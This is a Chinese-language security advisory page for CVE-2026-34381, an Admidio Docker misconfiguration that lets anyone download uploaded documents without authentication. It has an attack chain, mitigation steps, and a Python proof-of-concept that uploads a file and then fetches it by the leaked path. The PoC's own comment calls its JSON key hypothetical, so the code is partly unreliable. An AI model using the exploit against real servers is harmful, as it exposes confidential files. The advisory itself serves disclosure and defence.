IPBUF安全漏洞报告
English
CVE-2026-34381 CVSS 7.5 高危

CVE-2026-34381 Admidio权限绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34381
漏洞类型
权限绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

权限绕过敏感信息泄露Admidio配置错误CVE-2026-34381

漏洞概述

Admidio 5.0.0至5.0.8之前版本存在权限绕过漏洞。由于Docker镜像中Apache配置为AllowOverride None,导致.htaccess保护失效。攻击者无需认证即可直接访问上传文档,造成敏感信息泄露。

技术细节

该漏洞的根本原因在于Admidio Docker镜像中的Apache服务器配置不当。Admidio应用程序默认依赖adm_my_files目录下的.htaccess文件来限制直接HTTP访问,以此强制执行UI层面的RBAC权限控制。然而,Docker镜像提供的Apache配置将AllowOverride设置为None,这导致Apache在处理请求时完全忽略.htaccess文件中的规则。这意味着,虽然应用程序逻辑认为文件是安全的,但Web服务器层面却允许直接访问。当用户上传文件时,服务器会在响应的JSON中返回文件的完整存储路径。攻击者利用这一信息,可以直接构造URL指向该文件路径,从而绕过应用程序的身份验证和授权检查,下载敏感文档。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标为运行易受攻击版本(5.0.0至5.0.8之前)的Admidio Docker实例。
STEP 2
2. 文件上传
攻击者通过应用程序的上传功能(可能需要低权限账户)上传一个任意文件。
STEP 3
3. 路径泄露
分析服务器返回的JSON响应,提取上传文件的物理路径或相对路径。
STEP 4
4. 未授权访问
利用泄露的路径直接构造HTTP请求访问文件。由于Apache忽略.htaccess,无需认证即可下载文件。
STEP 5
5. 数据泄露
成功获取敏感文档内容,造成机密性影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example) target_url = "http://target-admidio-domain.com" login_url = f"{target_url}/adm_program/modules/documents/documents_upload.php" # Attacker's file files = {'userfile': ('exploit_test.txt', 'Sensitive Content', 'text/plain')} # Step 1: Upload the file to get the path # Note: Depending on config, authentication might be needed for upload, but file access is the issue. # Assuming upload endpoint is reachable or we have a low-priv user. session = requests.Session() response = session.post(login_url, files=files) if response.status_code == 200: try: data = response.json() # Extract file path from JSON response file_path = data.get('file_path') # Hypothetical key based on description print(f"[+] File uploaded. Path disclosed: {file_path}") # Step 2: Access the file directly without authentication # The vulnerability states .htaccess is ignored, so direct access works. direct_access_url = f"{target_url}/{file_path}" print(f"[*] Attempting direct access: {direct_access_url}") file_response = requests.get(direct_access_url) if file_response.status_code == 200: print("[!] Vulnerability Confirmed! File content downloaded:") print(file_response.text) else: print("[-] Failed to access file directly.") except json.JSONDecodeError: print("[-] Could not parse JSON response.") else: print(f"[-] Upload failed with status code: {response.status_code}")

影响范围

Admidio >= 5.0.0, < 5.0.8

防御指南

临时缓解措施
对于无法立即升级的用户,建议修改Apache配置文件(如apache2.conf或httpd.conf),将AllowOverride None改为AllowOverride All,或者直接在配置文件中使用<Directory>指令手动禁止adm_my_files目录的HTTP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表